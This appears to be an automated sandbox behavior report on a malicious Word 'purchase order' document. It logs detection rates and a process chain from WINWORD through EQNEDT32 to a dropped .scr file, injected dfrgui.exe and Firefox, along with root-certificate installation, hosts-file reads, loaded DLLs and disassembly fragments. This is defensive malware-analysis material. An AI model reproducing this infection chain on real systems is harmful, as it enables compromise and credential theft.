Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: dfrgui.exe, 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.8.dr	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: dfrgui.exe, 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.8.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: dfrgui.exe, 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: dfrgui.exe, 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: dfrgui.exe, 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: dfrgui.exe, 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: dfrgui.exe, 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmp, sqlite3.dll.8.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: MOQ010524Purchase order.doc	Virustotal: Detection: 41%
Source: MOQ010524Purchase order.doc	ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\op55336.scr "C:\Users\user\AppData\Roaming\op55336.scr"
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process created: C:\Users\user\AppData\Roaming\op55336.scr "C:\Users\user\AppData\Roaming\op55336.scr"
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Process created: C:\Windows\SysWOW64\dfrgui.exe "C:\Windows\SysWOW64\dfrgui.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Windows\SysWOW64\dfrgui.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\op55336.scr "C:\Users\user\AppData\Roaming\op55336.scr"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Process created: C:\Users\user\AppData\Roaming\op55336.scr "C:\Users\user\AppData\Roaming\op55336.scr"	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Process created: C:\Windows\SysWOW64\dfrgui.exe "C:\Windows\SysWOW64\dfrgui.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\op55336.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: virtdisk.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: sxshared.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dfrgui.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: MOQ010524Purchase order.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\MOQ010524Purchase order.doc

Source: C:\Windows\SysWOW64\dfrgui.exe

File opened: C:\Windows\SysWOW64\RichEd32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\op55336.scr

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\Users\GT350\source\repos\UpdatedRunpe\UpdatedRunpe\obj\x86\Debug\AQipUvwTwkLZyiCs.pdb source: op55336.scr, 00000005.00000002.351721062.0000000002491000.00000004.00000800.00020000.00000000.sdmp, op55336.scr, 00000005.00000002.351512154.00000000003B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dfrgui.pdb source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000003.395166621.0000000001C60000.00000004.00000001.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 00000007.00000003.395327536.0000000001E30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000002.847158763.00000000001FE000.00000002.00000001.01000000.00000008.sdmp, eDTvjJMLUGCaWhgZ.exe, 0000000C.00000002.847139863.00000000001FE000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: dfrgui.pdb2D source: eDTvjJMLUGCaWhgZ.exe, 00000007.00000003.395166621.0000000001C60000.00000004.00000001.00020000.00000000.sdmp, eDTvjJMLUGCaWhgZ.exe, 00000007.00000003.395327536.0000000001E30000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: op55336.scr, op55336.scr, 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847379947.0000000002170000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000002.847379947.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, dfrgui.exe, 00000008.00000003.410885708.0000000001E80000.00000004.00000020.00020000.00000000.sdmp

Source: opp[1].scr.2.dr

Static PE information: 0xCA00A32F [Sun May 23 23:50:07 2077 UTC]

Source: sqlite3.dll.8.dr	Static PE information: section name: /4
Source: sqlite3.dll.8.dr	Static PE information: section name: /19
Source: sqlite3.dll.8.dr	Static PE information: section name: /31
Source: sqlite3.dll.8.dr	Static PE information: section name: /45
Source: sqlite3.dll.8.dr	Static PE information: section name: /57
Source: sqlite3.dll.8.dr	Static PE information: section name: /70
Source: sqlite3.dll.8.dr	Static PE information: section name: /81
Source: sqlite3.dll.8.dr	Static PE information: section name: /92

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00678F60 push eax; retf	2_2_00678F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00680F60 push eax; retn 0067h	2_2_00680F61
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00673B44 push eax; retf 0068h	2_2_00673B45
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_00688018 push esi; ret	2_2_006889AB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006701F4 push eax; retf	2_2_006701F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0066F8B8 pushfd ; retf	2_2_0066F8B9
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0041B855 pushad ; iretd	6_2_0041B884
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00407936 push eax; iretd	6_2_00407937
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_004191E7 push ecx; ret	6_2_004191E8
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00415A7A push esi; retf	6_2_00415AB4
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0040EB41 push 7B0B5DBBh; iretd	6_2_0040EB4A
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0042F3B2 push eax; ret	6_2_0042F3B4
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00419C00 pushad ; retf	6_2_00419C2D
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00415C3E push esp; retf	6_2_00415C8E
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00403640 push eax; ret	6_2_00403642
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_0041F75D push eax; iretd	6_2_0041F75E
Source: C:\Users\user\AppData\Roaming\op55336.scr	Code function: 6_2_00EADFA1 push ecx; ret	6_2_00EADFB4

Source: opp[1].scr.2.dr	Static PE information: section name: .text entropy: 7.646009016115731
Source: op55336.scr.2.dr	Static PE information: section name: .text entropy: 7.646009016115731

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\opp[1].scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\op55336.scr			Jump to dropped file

Installs new ROOT certificates

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Windows\SysWOW64\dfrgui.exe	File created: C:\Users\user\AppData\Local\Temp\sqlite3.dll	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\opp[1].scr	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\op55336.scr	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
